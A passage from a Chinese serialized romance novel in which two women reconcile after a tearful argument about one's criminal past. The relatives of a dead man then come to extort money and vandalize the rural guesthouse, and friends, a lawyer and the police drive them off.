牵线那人转身就走,不闻不问。江有盈抬头勉力一笑,“没事。” 杯中水一饮而尽,她收起面碗,说“我吃好了”,要拿下去洗。 沈新月伸手去接,她躲开。 状态明显不对,沈新月怎能甘心,追到楼下厨房,“怎么了嘛。” 水流冲刷,白瓷碗洁净如新,江有盈仍是垂头沉默不语。 碗筷搁在沥水架,装柠檬水的玻璃杯也洗干净,水龙头关闭,却还有大颗晶亮的泪珠砸在她手背。 沈新月顿时慌神,将她身体扶正,“你到底怎么了。” “所以你还是嫌弃我,觉得我给你丢人了。”又开始哭,江师傅这招真是百试百灵。 “她们家境优渥,从小接受良好的教育,个个都善良温柔,自然不会当着我的面流露太多。但我自己心里知道,我比不过她们一个小拇指,我是孤儿,杀人犯,坐过牢,甚至还试图通过婚姻,来跟人换取些什么,比如钱和房子,甚至只是因为可以迁户口,再也不回到出生地。” 这些都是她心中真实顾虑,尽管早就时过境迁,至今无法原谅自己的怯懦和卑劣。 难堪,太难堪了。 把自己完整地,彻底地剥开,天光下几乎寸缕不着。 “所以你心中的芥蒂,我完全理解。” 是示弱,是手段,可这种自毁的方式来请求原谅,终究太过残忍。 人心隔肚皮,谁知道人家心里是不是真的那么想。 由她亲口说出,比被人戳着脊梁骨桩桩件件指出来受伤要轻得多。 “或许这段感情对你来说,确实太拿不出手,跟我这种人扯上关系,让你在朋友们面前很没面子,你不愿意和好,在情理之中。” 把自己贬入尘埃,江有盈最擅长,她是真真切切在烂泥坑里打过滚的人。 这些话不全是赌气,事实如此,世俗标准来看,她劣迹斑斑,确非良人。 “时至今日,我不再奢望什么,爱情本就不是生活必须品。” 抹去眼泪,她似乎顿悟,决定停止追逐。 面面相对,听她自我沉浸状态噼里啪啦讲了一堆,沈新月是何感受? 愤怒,她出离愤怒,擦身之际,一把擒住江有盈手腕。 “你别走,说清楚。” “什么叫‘丢人’、‘拿不出手’,什么又叫‘没面子’。” 沈新月将她大力拽来身前,“江有盈,你把我当什么人,你怎么能这样想我!” “我想错了吗?”刚哭过,她眼眶隐隐泛红,眼神却倔强,“我只是陈述事实。” “可那只是你自己的看法!”沈新月真是百口莫辩。 她其实不擅长跟人吵架,更多时候是有感而发。被误解,她想说不是,可证据呢?该从何说起。 江有盈把她绕糊涂了。 “谁瞧不起你,只有你自己,再说只要你自己满意自己,别人说什么都是放屁,根本不重要!” 沈新月脸都气红,好冤枉。 她们在一起时间也不短,她什么为人,江有盈不懂? “那就是我小人之心了。” 又开始,拒人千里之外的淡漠神情,江有盈冷冷道:“是我自己瞧不起我自己,我不能放过自己,我不能当那些事完全没发生过,杀人的是我,关在看守所等法院判决的是我,坐牢的是我,出狱后答应给人家生小孩,就为了迁户口或者说霸占人家祖宅的也是我。” 说出来,全说出来了,并没有好受多少。 隐瞒不报还可以欺骗自己,当作什么都没发生,她自信强大,可以修理一切,生活中无所不能,有自己的小院,过着都市牛马人羡慕不已的半隐居生活。 实际呢?她跟十五那年的自己没差别。 她只是一名逃犯。 “沈新月。”江有盈很少连名带姓去喊。 她手掌按压在心口,那似乎痛极了,气管里呛了辣油一样,吐不出咽不下,灼烧感几乎燎穿血肉。 “有时我真恨不得去死,在你心中就只有伤心和遗憾了,所有恶迹被疼痛掩盖,如果你内心会为我的死有所动容的话,那些坏的都不记得,只有我的好。” “你说得对,我不自爱,我讨厌自己,恨自己。也不该奢望你能原谅我,我自己都没办法原谅我自己——” 话至末尾,江有盈彻底哽住。 说出来,她反而更坏了。为了挽回这段感情,她把自己血淋淋片得满桌都是,摊给她们看。 “爱你让我感到痛苦。”她说。 第75章 ——“爱你让我感到痛苦。” 沈新月不知该如何形容自己当时反应。 当胸一拳?如遭雷击? 她以为自己听错,这话该换她来说吧。 是谁在痛苦,被引诱靠近,爱得全无保留,又被狠狠一脚踹开。不不,不止一脚,踹了好几脚呢。 她也是真难踹,为摆脱她,累坏了吧? 胸口剧烈起伏,面颊愤然滚烫,她听见自己太阳穴连带脖颈处血管的沉闷激跳。 她一瞬不瞬看着她,目光死盯在她脸。 那双脸上最典型,最有代表性的,是眼睛。 江有盈有一双幽深复杂的眼,初遇时,冷冷戏谑,相熟后,柔情鼓舞,对峙间森然冷漠,更有此刻的凄苦、绝望,甚至是心如死灰…… 那眼中情绪,炽热充沛,是火可以带来温暖,也能将万物焚毁。 其次是那张嘴,总能说出那么多气人伤人的话。 她阴晴不定,喜怒无常,对待感情反反复复,到底是谁在痛苦啊? 泥人也有三分脾气。 不假思索,沈新月上前两步,双手捧起她脸,恶狠狠咬住那唇。 毒舌犀利,也会温言相劝,比石头还硬咬一口牙都崩掉,又花瓣一样软,甜美的蜜露诱使人贪婪汲取更多。 喉中发出可怜的“呜呜”声,江有盈连连后退。 穷追不舍,沈新月扣住她后脑,直到她后腰抵在厨房料理台边缘。 这个吻可称残暴,也许是太过紧张,也太过突然,她忘记呼吸。 沈新月不由想起她们的初次,在房间后面的小露台,帐篷里,她的胆怯瑟缩。 那是她的初吻。 事后,她小心翼翼求证,不是自愿,可以称之为初吻吗? 沈新月回答“否”,教她如何在接吻时也能保持顺畅呼吸。 爱与恨交织,情潮汹涌,短暂分离,腾出空容她喘息。 她们额头相抵,江有盈大口喘气,双手握拳松松抵在她身前,被亲得脊背发麻,使不出力气。 沈新月再度埋首,缴她舌。 千里之堤,毁于蚁穴,防备的高墙久经细流冲刷,轰然倒塌,意志被点点蚕食,面前这具身体变得很重,几乎压垮她。 站立不稳,江有盈身体虚弱至极,只是被迫承受索取,她的心终究背叛她。 她很爱她,需要她,离不开她,放出的狠话真心也好,试探也罢,这世间不会再有第二个人让她情绪失控,让那个威风凛凛的自己变得敏感多疑。 只有沈新月,轻而易举就撕破她伪装,看穿她面具。 这个吻持续了很久,直到舌尖尝到铁锈味,沈新月分离,凝视她唇。 唇周一圈泛着红,唇瓣被蹂躏得红肿,甚至磨出了血,水淋淋,泛起着股诱人的艳色。 她身体软绵绵,滚烫至极,轻薄夏衫难以阻隔,把温度透来,不知足,沈新月安抚去吻,动作轻柔。 同时感觉她抖了一下,被亲怕了。 沈新月心中好笑,你也会有害怕的时候。 继而威胁,“还有什么话说,再胡言乱语把你嘴咬烂。” 江有盈浑身软绵绵,站也站不稳,睫毛还挂着未干的泪,沈新月索性将她打横抱回房间。 她最近瘦很多,怀里掂量一下,好轻,沈新月抱着上楼不费劲。 亲老实了,她乖乖横在那,手臂本能勾缠在脖颈,嘴疼吧,刚才还噼里啪啦竹筒倒豆子,现在闷闷的,一句话不讲。 把她放在床上,盖好被子,沈新月像小时候照顾洋娃娃那样。 江有盈两只拳头攥得小小的,紧紧的,大概一直想找机会薅她两拳的。 “你说啊,继续说。”沈新月双手叉腰。 她浅白一眼,小床上背过身去,腰臀起落出妖娆曲线。 沈新月沉了口气,大马金刀往那一坐,单腿斜搭在床,双手撑膝,“接着说。” “你走。”嘴唇打不开,她细细声。 “走哪儿去?”沈新月不走,“你说得没错,是我让你说的,我逼你说的,甚至还四处找人打听。你说了,全跟我说了,过程艰难,所以我体谅,我会负责到底。” 她气来得快,消得也快,不敢说什么不计前嫌,高尚无私,只是单纯不想被误解。 “首先,我不是你想的那种人,什么丢人拿不出手,我从来没那么想过。还有,我的朋友们不是你想的那样,并非人人都是富二代,哪儿来那么多富二代,她们跟你一样,目前所取得的成就,赚的每一分钱都是凭借自己努力。” “但我完全理解,你习惯把人和事都想到最坏,我也会,小时候学习不好,总担心回家挨揍,一路煎熬,但我妈并不是每次都揍我,是我只记住了挨打的时候。” “至于你说恨不得去死,一瞬的念头,谁都会有,我也想过。员工来讨薪,公司大门口拉横幅,明明我前一晚答应想办法筹钱。我被他们围堵在办公室,也恨不得从三十多层高楼一跃而下。” “最后,你说不自爱,那又如何?谁都会有自哀自怨的时候。我们是人,人是情绪动物,内在状态,外在决策,情绪几乎掌控我们的一生,被情绪所困是人之常情。” “最后的最后,你说痛苦……” 沈新月陷入沉思。 “那只能说明,你太爱我了。我相信,我们承受的痛苦是相同重量,推开我,你跟我一样,痛不欲生。” 沈新月始终记得初到秀坪时,江有盈向她提供的一系列帮助。恶作剧是鼓励,为逗笑她,快些转移注意力,从过去的阴霾中走出,细致温柔,连她没有洗脸巾用都注意到了。 每次她摔得满身烂泥,哭得死去活来,都是她把她接回小院,洗涮干净。 “我们刚分手时,我确实恨你,为什么对我那么好,又把我抛弃。” 沈新月说她那时不懂,确实不懂。 之后呢,听完她的故事,一个正常人的正常思考方式…… “那我还能怎么办,只能原谅你,你都那么惨了。我爱你,不敢说可以成为你的救赎,至少,不要成为负担,成为你头顶的另一片乌云。” “我的期待,是我们彼此支撑对方走过人生的至暗时刻,你很厉害,你做到了,我确实得到治愈,工作、钱,规律的生活等等。” 所以,无论她说什么,沈新月坚决不会在这种时刻抛弃她。 “我不能输给你。” 冷静分析,江有盈真的伤害过她吗?她们之间当真就无法挽回了吗? 到底多大的仇怨,有闹到对簿公堂,甚至两方大打出手需寻求法律帮助吗? 人脑前额叶皮质30岁仍在发育,它影响人情绪、计划,分析和决策等等,此刻恰是人理性决策黄金期。 “我不想做只会索取的那一方,要你来安慰我,哄我,给我煮饭,甚至提供稳定的经济支持。” 抛开情绪问题,事情就这么简单。 她在小厨房里那番话,沈新月认为更多是试探。 “如果我那么容易被推开,我想,你恐怕会对我彻底失望,我不配站在你身边。” 她口中的过去,讲述得再是详细,也没人能做到真正的感同身受。 “还有,人不能忘恩负义。” 她的顾虑、担忧,沈新月逐一反驳,见她横卧在床,一动不动,不满推搡两下。 “喂,跟你说半天,有没有在听。” 没动静。 沈新月扳过她肩膀。 偷偷躲在那哭,眼泪布得满脸。 “问你话!”沈新月使劲晃。 江有盈终于动了,回头看来,目光哀怨。 “肿么舒——” 嘴唇完全肿起,成电影里的欧阳锋。 沈新月哭笑不得,哀叹一声,踢飞鞋子爬上床,从后抱住她腰肢。 “我们不要吵架了,屁大事吵来吵去,好累啊。” 午后蝉声聒噪,老电扇吱扭扭,左右摇头,纱帐随风而起,鼓一阵,歇一阵。 江有盈握住她手,颈后是沈新月温热绵长的吐息。 启唇,有话要说,忍不住痛嘶一声,她手指碰碰,结痂的伤口再次渗血。 “我看看!”沈新月已翻过她肩膀,爬到她面前。 伤势严重,沈新月皱眉盯了会儿,哼一声,“谁让你乱说话,看你下次还敢不敢!以为我拿你没办法了。” 她低垂着睫,风情内敛,沈新月后知后觉意识到,江有盈所有失控和眼泪,都只在她们之间发生。 外人面前,她始终孤傲,不假辞色。 她们之间的碰撞从来不是单方面的。 避开受伤的唇,沈新月亲吻她冰凉的腮,“你骂我好多,我也骂你好多,我们扯平吧。” 重新倒下去,拥紧她,嗅闻苦甜发香,肢体接触胜过言语万千。 半梦半醒时分,楼下传来喧嚷,沈新月睡得迷迷糊糊,只依稀分辨出是几个男人的声音,语气似乎不太友好。 江有盈率先翻身坐起。她蹙眉,竖耳默辨,下床打开门走出去。 “怎么了?”沈新月扭头,心跟着一紧,也赶忙爬起追出。 赶至二楼围栏边,见小院不知何时竟挤满人,三男一女,其中两个男人看着也就二十来岁,剩下一男一女,已是花白头发的中年模样。 几人来势汹汹,老男人坐在院中茶桌旁,老女人张口叫骂,言语污秽,两个年轻男人竟冲进厨房,把碗筷家电抱出一通打砸。 “你们谁啊!”沈新月喊了一声,跑出几步,回房找手机给刘武打电话,说有人闹事,让他火速赶来。 刘武似乎丝毫不意外,“你们就在屋里别出去,我马上带人过来。” 沈新月跑出房间,探头往下看,江有盈去工具房提了电锯出来。 “她下去了!” “拦着点!”刘武大喊。 沈新月赶紧往楼下跑。 第76章 大概一周还是两周前,沈新月网上收到私信,对方询问民宿具体位置,说一家人想来度假。 她拍视频为记录生活,分手那段时间给自己找点乐子,顺道宣传秀坪,试图炒热民宿房价。 往常私信的也不少,那人古怪之处在专门截取了视频里江有盈正脸,问这人也是你们那的吗? 沈新月当时没多想,荷塘重逢,她内心自然是喜悦,情感浓烈,内容相较以往似乎更能打动人心。 视频发出去,评论好多人夸漂亮,说秀坪风水养人,她以为对方只是单纯觉得江有盈长得好看。 当时没往深处想,她手比脑子快,消息发送,说“是”,还教他怎么在网上订房。 楼下三男一女,来势汹汹,一进院就嚷嚷着“姓江的滚出来”,沈新月记得江有盈说过,王志勇兄弟姐妹不少,跟他关系最好是王志刚,王志刚下面又有两个儿子。 人数对得上,八成是王家人找来了。所以那次江有盈才会发火打掉她手机。 把自己婚姻大事草草安排,只为迁离户口跟过去彻底划清界限,江有盈好不容易摆脱…… 沈新月心口没由来一阵揪着疼,她太粗心了,当时竟完全没想过这种可能。王家几口子八成就是短视频招来的。 可她一开始没打算发。江有盈突然闯入镜头,她当时心里就盘算,不删也不发,夜深人静时候自己躲被窝偷偷看。 是江有盈主动要求发的。沈新月倒不是推卸推责,探究背后根本原因,江有盈或许曾考虑通过外力推助。 但她比自己想象的还要勇敢,她一直坚强勇敢,最终选择亲口说出。 可一早埋下的雷,引线还是烧到了头。 几秒钟时间,沈新月脑子里过了一堆,心慌着急是免不了,好在她也算经历过一些大场面,比如被员工揪着衣领子手戳鼻尖骂。 很快冷静下来,她当即给刘武去了电话。 刘武的态度,让她更加确信是王家人找上门闹事,下楼,江有盈正好提着电锯走出工具房。 沈新月简直要被她吓晕,赶紧从后把人抱住,“不能杀人,不能杀人!” 王志刚进门就把自己安顿在树下小桌,摇椅上地主老爷姿态,还自顾取杯斟茶,当自己家一样悠闲自在。 他的两个儿子生得矮胖,活似陀螺满院滴溜溜转,门口花盆碎了几个,蓝雪花花瓣黏在青石砖,厨房里的碗筷和微波炉也被他们抱出来摔。 他老婆扯脖踮脚,挥臂斥骂,一会儿又跑到院门口,拍着大腿喊:“来人呐,来人呐,快来看杀人犯呐,十五岁就杀了她爹的杀人犯,忘恩负义的狗东西……” 电锯“嗡嗡”作响,江有盈胳膊一抬,茶桌缺了个角。 强震掀得满桌茶具乱抖,茶水溅洒,桌边王志刚一蹦三尺高,跳回院门前。 他两个儿子被堵在厨房门口,“姓江的你有胆,有胆就把我们全杀了!” 江有盈提着电锯一言不发走过去,沈新月就是这时候冲过去抱住她的。 她真杀过人,他们到底是怕,抓紧机会撤离厨房,冲至院门口。 “我来处理,好吗?我来,听我的。” 沈新月摸到电锯开关,再一根根掰开她手指,连拉带扯把人推到屋檐下。 日头毒辣,她们刚吵完架,虽然沈新月觉得自己其实安抚得差不多,但此时她心绪未平,还是小心为上。高温会加剧她内心烦躁。 异常冷静,江有盈表情淡漠,音色平直,“杀光就好了。” 她想法极端,情绪反复,最擅长用别人的错误来惩罚自己,这话哪怕只有五成的可能性,不,哪怕三成,沈新月都不敢不重视。 稍侧过身,完全遮挡她视线,沈新月尽量保持语气轻快,“我给刘武打了电话,他让我拉着你,他们人多,短暂优势,我去拖着,等人来好不好?” “我一个能顶三个。”江有盈死盯着院门口那几人,恨意布满眼眶,通红。 沈新月“嗯嗯”点头,“你厉害,我当然知道你厉害,可你也得为我考虑不是,我是说过如果我们早点认识,我一定会去里面看你,但我不想你真的进去!” 三条人命,即便是对方挑衅在先,她早不是十五岁的江有盈,恐是免不了花生米伺候。 劝服有效,江有盈缓和了语气,“我是吓唬他们的。” 她表情严肃,“嘟嘟,不能软弱,软弱就会被人欺负,他们会蹬鼻子上脸。” 二十出头,她刚出来,被人堵在巷子里打,只想逃。 狱中几年,与社会完全脱节,她没办法。 现在不一样,她成长了,也有了想要守护的人和事。 “这些家伙,八成是来要钱的。”江有盈分析道。 几人千里迢迢赶来,总不能真是为伸张正义,再说王志勇都死了多少年。 “见我过得还不错,想讹一笔。” 她真是机敏。 王志勇人品虽低劣,或有些生意头脑,才佑得王家富贵,他死后,余下资产下面几个兄弟姐妹瓜分,这十几年,王志刚手里那些钱估计败得差不多。 “所以更不能让他们得逞!”沈新月握拳。 王家几个想要钱,又没胆进院,中年女人竟跑到隔壁小院拍门,冲着院里敲电脑的丁苗喊话:“你家隔壁住了个杀人犯,你知道不知道?” 丁苗一早听见动静,正忙着打电话,抽不出空,这时挂了电话走出小院,左右那么一看,事情明白个大概。 “干什么,想闹事?” “律师来了,律师来了!”沈新月干脆拉着江有盈上楼,把她推进房间,“你回屋待着,我让丁苗处理。” 手指紧抠在门框,江有盈放心不下,“万一打起来怎么办?” “怎么还想着暴力解决,这年头不兴打架的,打赢进局子,打输进医院,不能逞一时之快。” 沈新月想了想,也不强迫她进房间,“你要不放心,就站楼上看着,真打起来再冲下去也不迟,相信我好吗?” 目光惴惴,江有盈钝钝点头,“那你一切小心。” 丁苗走进小院,见满地狼藉,竖指冷声警告,“第一,我可以告你们非法入侵她人住宅;第二,告你们寻衅滋事,故意损坏她人财物;第三还可能涉及故意伤害。数罪刑期叠加,想坐牢是不是?” “你谁啊?”王志刚老婆跳她面前。 “我是江有盈女士的律师。”丁苗拿出手机开始录视频,“保留证据了我说,可别跟我动手动脚的。” 又回头冲着沈新月喊:“报警。” 沈新月刚给暴竹和程意打了电话,暴竹在荷塘那边散步,程意恰好也在,应该是去拍照的。 派出所在镇上,但村里有警务站,报警电话接通,两边都会派人过来。 “律师又怎么样?”王志刚推开他老婆站到丁苗面前,“我告诉你,这房子里住的可是*一个杀人犯!我完全可以控告你包庇杀人犯!” 丁苗显然是经常跟这种蠢疙瘩打交道,说好的,“那你快报警,让警察把她抓走。” “我当然要报警!” 王志刚猛一挥胳膊,指他老婆,“你报警。” 沈新月走过去,“不用了,我已经报警了,警察很快就来。” 王志刚两个儿子文化程度显然不高,智力也一般,一下没了主意,傻不愣登杵在后头。 他左右无招,气得猛踹儿子。 又没本事,又好面子,他大儿子气得涨红脸,“我都说了,根本要不到钱!” 果然是来要钱的。 沈新月冷笑,王志刚不管,又指向沈新月,“你让姓江的出来说话。” “你算老几,你让她出来就出来。” 沈新月真是佩服这些人的脸皮,“也不撒泡尿照照自己,大老远跑来闹事,你当自己是个什么人物?” 她回头把院门关上,叉腰拦在那,“有本事从我身上踩过去!” “上。”王志刚招呼他儿子。 大儿子挨了踹,觉得丢人,鼓着脸不动。 年轻人到底要理智些,小儿子看看哥,又看看他爸,“你咋不上。” 气得王志刚又一顿猛踹。 他老婆最是离谱,拉着过路游客,“欸你知不知道,这里头住了一个杀人犯,十五岁就杀了她爹,还杀了她妈!哎呦小小年纪,不得了嘞! 路人惊惶不已,什么杀人犯不杀人犯的不知道,面前倒有个现成的精神病,疯狂甩袖,落荒而逃。 沈新月拿这种泼皮无赖实在没办法,丁苗举着手机走过去,对着她拍,“我来给你普普法,言语、文字,包括图像,任何方式的公然侮辱,我们都可以向法院起诉你。” 中年女人一把打掉她手机,挺起胸脯把她怼到墙角,“那你去起诉我!赶紧去!以后我天天来你们家闹,你们别想安宁。” “你敢摔我手机!”丁苗指着她。 中年女人掰她手指,“你再指!” 沈新月刚要上前帮忙,旁边突然冒出个人,插进两人中间空隙,“就指就指就指!” 是周醒来了,身后紧跟着孟新竹和程意。 “你又是哪里来的,少多管闲事!”中年女人推了她一把。 周醒“哎呦”一声躺倒在地,耍无赖她最擅长,周凌那样的冰山都能被她逼疯。 “哎呦打人了打人了,好痛好痛!”她躺地上抱着中年女人小腿,腾出只手学人吆喝,“快来看呐,走过路过别错过,都快来看呐!” 谁成想被倒打一耙,中年女人情急之下伸腿踹她。 “你干嘛!”孟新竹尖叫一声,扑上去。 本不想打架,人越多越乱,局势一时竟难以掌控。 江有盈二楼紧张观望,楼下闹将起来,她再也沉不住气。 程意趁乱推开院门走进去,一把拉住她,“你现在不能出现,他们就是冲着你来的。” 她放水淋她,她竟还愿意帮忙,江有盈惭愧,小声道歉。 “对不住。” 程意展颜,“有那反应也正常,我没生气。”再说她本就为了好玩。 门外闹得厉害,江有盈看不见,担心真打起来她们受伤。 程意这时候还有心情调戏人家,拉着人手摸来摸去,“放心,有暴暴在不会出问题,也不会让那些人踏进房门一步,她对付极品有一套的,因为她本来也是个极品中的极品。” 咬唇,默默抽回手,江有盈退后两步,保持距离。 程意掩唇娇笑,“瞧你吓得。” “那我回去。”江有盈转身上楼,高处看得清楚。 所以,就像沈新月说的那样,她们是很好的人,温柔善良,充满怜悯,把她好好护着,紧紧护着,不让她再受到丁点伤害。 树上蝉鸣不休,小院外喧嚷不止,江有盈手撑围栏,树影和院墙把纷争筛滤,她眼前一片夏日浓翠。 心跳平缓,她不再恐惧。 新认识的朋友都在帮她的忙,李致远说得没错,她运气真是很好很好的。 也许,这是上天对她的补偿,她开始盘算晚上给她们做什么好吃的。 刘武带了几个店铺里的兄弟过来,兄弟又喊了兄弟,乌泱泱十几个人,开了四五辆车。 远远,瞧见小院门前横了好几个,他心一跳,还以为出人命! 刘武满头的汗,赶至近前,才瞧见一个个胳膊腿都齐全,只是横在那耍赖皮,你扯着我衣领子,我扯着你裤腰带,乱骂。 周醒四肢朝天,嘤嘤假哭,“痛啊,痛死我啦,啊啊,快叫救护车——” 王志刚他老婆有样学样,巴掌连连拍地,“杀人啦!杀人啦!” 刘武庆幸,还好外婆不在,否则局面更加混乱。 念头才起,老太太扒开人缝,冒出个脑袋,“这是干啥呢?” 第77章 王家几口打得一手好算盘,以为跑人家门口撒泼打滚,叫骂几句引动舆论压力,就能吓得对方乖乖掏钱。 江有盈起初确实有这个顾虑,在坦白一切之前,烧烤夜游戏之前。 或者更早,跟沈新月恋爱之前。 她从来没想过隐瞒自己的过去,少女时代曾有过一场短暂的逃亡经历,重压下彻夜难眠,食不知味,头发大把大把掉,甚至想过轻生,那份煎熬她不愿再体会。 狱中劳作,部分薪资按管理制度强制性储存,在服刑人刑满时发放。但那些钱支撑不了太久,隐瞒身份或许能帮助她更快走进人群,她仍选择坦诚。 正视自己,接受自己,是大多刑满释放人员重回社会的重要一课。江有盈一直觉得自己做得很好。 也多亏她的坦诚,否则就不会有之后跟星星和陈阿婆的缘分了。 但那份坦诚并不适用所有关系。 当爱悄悄降临,自卑胆小的人,会选择用面具伪装自己,辛辣的言语和行事风格保护自己。 抓取到目标,更有心机深沉者,在爱里百般试探,甚至推离,察觉到对方的恐惧瑟缩后又苦苦哀求挽回。如此反复。 她一直很清楚自己在做什么,有意识或无意识的,难以克服。可每一面的她,都是真实的她,如同四季,春生夏长,秋收冬藏,缀合成年。 幸好,幸好,她遇见了一位很好的爱人。 她的爱人有一颗善良、温柔、细腻,愿意包容一切的心,像一朵云,一床被,把满身冰棱的她柔柔裹住,体温融化锋芒。 “外婆来了!外婆来了!”沈新月振臂大喊。 她一直觉得自己没本事,干啥啥不成,吃啥啥不剩,但谁说认识那么多厉害的朋友不算是一种本事呢? 说明她人好,大家都愿意跟她玩,身上老些优点是当局者迷,自己没发觉。 程意推开院门走出来,撸起并不存在的袖管要加入战场,沈新月回头,“我家满满怎么样。” “自己去看。”程意扫了一圈,指,“那个大胖子也是我们的人吗?” 沈新月点头说是,“满满她哥,在长水做生意的。” 现在外婆和刘武都回来了,她们人多势众还占理,“我们必赢。” 院外有人帮忙,沈新月中途撤出战场,跑回楼上,江有盈急奔到楼梯口接。 她们双手紧紧交握在一起。 鼻头冒酸,江师傅又眼眶红红,沈新月松手去抱,哄小孩似的,连连拍背,“哦哦哦,没事没事,我在呢。” 她自然不是因为害怕,是感动,拧眉思索片刻,“我真要一直躲着吗?” “这不叫躲。”沈新月知道她心里想的什么,“好吧,即便是躲,那又怎样?以前没人保护你,你什么都只能自己扛,现在有我,我的朋友们,刘武,还有外婆,你就不用那么辛苦了,我们会替你把坏人赶跑的。” 眼睛亮亮的,总算能为她做件实事,沈新月一顿拍拍哄哄,笑盈盈挨近,“给我亲亲小嘴。” 外头好多人呢,万一被看到,江师傅这方面还是挺保守的,朝后躲了下。 沈新月故意嘟嘴不满,“你嫌弃我?我在外面给你打仗呢!” 哪儿敢,江师傅只得把脸贴过去,“那你亲吧。” 沈新月杵那不动,“我要你自己过来亲我。” 她双手环胸,脚尖点地。 江有盈笑出声,快速在她唇角蜻蜓点水一吻。 沈新月手戳脸蛋,“这里。” “那你还跟我生气吗?”江有盈事先确认。 “咦?你跟我谈条件!”沈新月霎时瞪圆眼,“我在外面给你打仗呢。” “两码事。”江有盈淡声。 好你个邪恶小寡妇,沈新月正要发火,面前人骤然逼近,手掌覆盖住她的眼睛,苦甜的橘子花味道铺天盖地。 眼前骤然变暗,唇被吮,湿热感觉,克制也缠绵。 她们之间,日常大多时候是沈新月主动去吻,她不否认自己好色,但江有盈也绝非什么良善之辈——太会钓。 浑身一股热流,沈新月顿时软了半截。 江有盈手掌拿开,眼角眉梢尽藏笑。 “嗯?”她再次确认。 “哎呀行了行了。”外头还在打架,沈新月不好一直躲着跟人亲嘴,一口气跑到楼梯拐角,站定回头,“和好了!” 和好了和好了—— 她跑到树下,第二次回头,树影间,她的脸娇若玉兰。 不是对手啊,沈新月心口还热热痒痒的。 外婆久经沙场,打牌回家一看,不需得人讲,前因后果自己组织了个大概。 年轻小娃不敢动手,怕惹上麻烦,躺地上耍赖,她没这个担忧,闷不吭声,回家抓来扫院的竹笤帚,双手操起,冲着王家人劈头便打。 “我打死你们这些王八蛋!我打死你们这些狗东西!我打死——” 王志刚两个儿子见爹娘挨打,当然不能干站着,可冲上去一看,怎么是个老古董。 这玩意儿轻易可碰不得,一碰就是好几万呢。 刘武喊一帮人是来镇场子的,也不能动手,可东弟是个急脾气,大老板被人欺负,他怎么能忍,招呼一声,“上!” “上什么上?”刘武赶紧把人拦下,“法制社会这是!” 东弟同他干瞪眼,“那你叫我们来干啥?” 刘武急得浑身汗,“保护,保护她们不被伤害。” “我们不需要保护。”沈新月说。 “来个人拉着点外婆!”程意在那边喊。 刘武带人冲过去。 丁苗捡起手机,发现完好无损,十分遗憾,问沈新月,“要不墙上磕两下。” “你想起诉?”沈新月问。 丁苗点头,沈新月想想还是算了,“出气确实能出气,可那就有得纠缠了。他们时间不值钱,我们不一样,再说满满情绪肯定会受到影响。” 沉没成本不参与重大决策,沈新月更倾向保护她心灵健康,维护她日常安宁,快刀斩乱麻,一次性解决。 丁苗赞同,“跟这种人纠缠,纯粹浪费时间。” 那边打起来,王志刚老婆终于舍得从地上爬起来。 周醒也爬起来,孟新竹把人拉到一边拍灰。 刘武拦下外婆,让她别打了,王家几个被东弟带的人堵在墙角,不动手,只用胸脯互相撞来撞去,颇有些暧昧。 外婆到底年纪大了,挥几下扫帚,给累够呛,中场休息,回院里。 沈新月跟进去给她找了茶壶,外婆问“满满呢”,沈新月说没事,“楼上歇着,我不让她下来。”又叮嘱外婆慢些喝。 “你是对的。”外婆放下茶壶,看小巷被围堵得水泄不通,“得亏人多。” 沈新月也庆幸,“再迟几天她们走了,就我们两个,我还真担心自己对付不了。” 外婆搁了茶壶,冷哼一声,“没有对付不了的,多的是办法对付,人多有人多的办法,人少也有人少的办法,即便你朋友不在,也有你陈阿婆。” 她摇头“啧啧”,“得亏她不在,否则今天这些家伙就要倒大霉了。” 沈新月想起来了,是啊还有陈阿婆呢,李致远他奶奶,星星她太奶。 “感觉挺久没见了。” “市里带孩子呢。” 外婆皱脸,“那个老太婆可不好惹,彪悍得很。” 刘武一开始确实怕她们吃亏,才喊了这么多人过来,现在又怕她们惹事,拦了左边拦右边。 他撩起衣摆擦了把额头的汗,露出雪白浑圆的大肚子,心想还好,这个老太太是有文化,讲道理的。 出千虽为人所不齿,可也侧面印证其算数优秀,脑瓜灵活,善于变通,文化老太秀兰还算可控。 但有句老话怎么说,越怕什么越来什么。 江启明昨天下午考完最后一门,跟太奶商量着今天回秀坪,俩人一大早就收拾好行李出发。 秀坪是个小地方,王家人来闹事,几分钟前就传开了,说哪里哪里打架,停车坝里还有辆警车。 陈阿婆跟警察是一块到的,秀兰刚把茶壶放回去,门外就叫嚷开。 “干什么干什么!哪来的野狗在我家门口狂吠,日你祖宗的活腻了!王八羔子,挨千刀的……” 在场众人,皆是一凛。 陈阿婆白发人送黑发人,还送了两次,一次是儿子媳妇,一次是她亲孙子。 一个好好的家,天降灾祸,四分五裂,当时那种情况,要不是还有江有盈,以及芦苇荡里捡来的江启明,老太太真不一定能熬得过去。 这样一个经历过重大失去的年迈老人,她生命中最重要的是什么? 当然是家人。 手一撒,陈阿婆进厨房直接拎了菜刀出来,“来啊!来啊!谁敢踏进我家门一步,我砍不死他!” 刘武只觉一个头两个大,他是真怕她们再出点什么事儿。 亏得警察也来了,劝老太太别冲动,“虽说是一把年纪了,可同样要负刑事责任的呀。” “满七十五周岁了吗?”丁苗旁边问。 刘武愣了一下,点头,“满了。” “那没事。”丁苗让他放宽心,“七十五周岁以上老人大概率是不吃花生米的。” “你——”刘武无言以对。 江启明跑上楼扑进妈妈怀里,抿着嘴唇不说句,只瞪着两个大眼睛。 “没事。”江有盈摸摸她头,“这么多人保护我呢。” “我也保护你——”小孩还是哽咽了。 “不哭。”江有盈捏捏她脸蛋。 她嘴一瘪,“就哭。” “一会儿你嘟嘟姐上来了。”江有盈看沈新月从隔壁院子出来。 “那我不哭了。”江启明变脸超快,“我小孩姐的冷静睿智形象不容破坏。”她才不是哭包呢。 王家四口,最后是被警察保护着离开现场的,秀坪这地方,排外,护短,外地人来闹事,以往类似的例子也不是没有,结果呢,还不是被乱棍打出去。 刘武带人跟到停车场,看着他们上了警车,“估摸以后都不敢来了。” 沈新月点点头,大概数了下,女的男的各一半,不算警察,前前后后来了二十多个人。 “王家四口别说闹事,我们一人一口唾沫都能淹死他们!” “得亏没出大事。”刘武惊魂未定,“星星太奶拿刀出来的时候,可把我吓坏。” 刘武让东弟他们先回去,改天请吃饭。 “我在这儿多待两天。” 沈新月跟他顺着小路往家走,“你还怕呐?” 刘武叹了口气,“就是经历过才怕,我不想让你们再经历一遍。” 沈新月点头表示理解,“我们也不是没分寸的人,不来点狠的,他们不会怕,下次再来怎么办?” “那老不死还说什么穷山恶水出刁民,真不知道谁才是刁民,搞笑呢。” 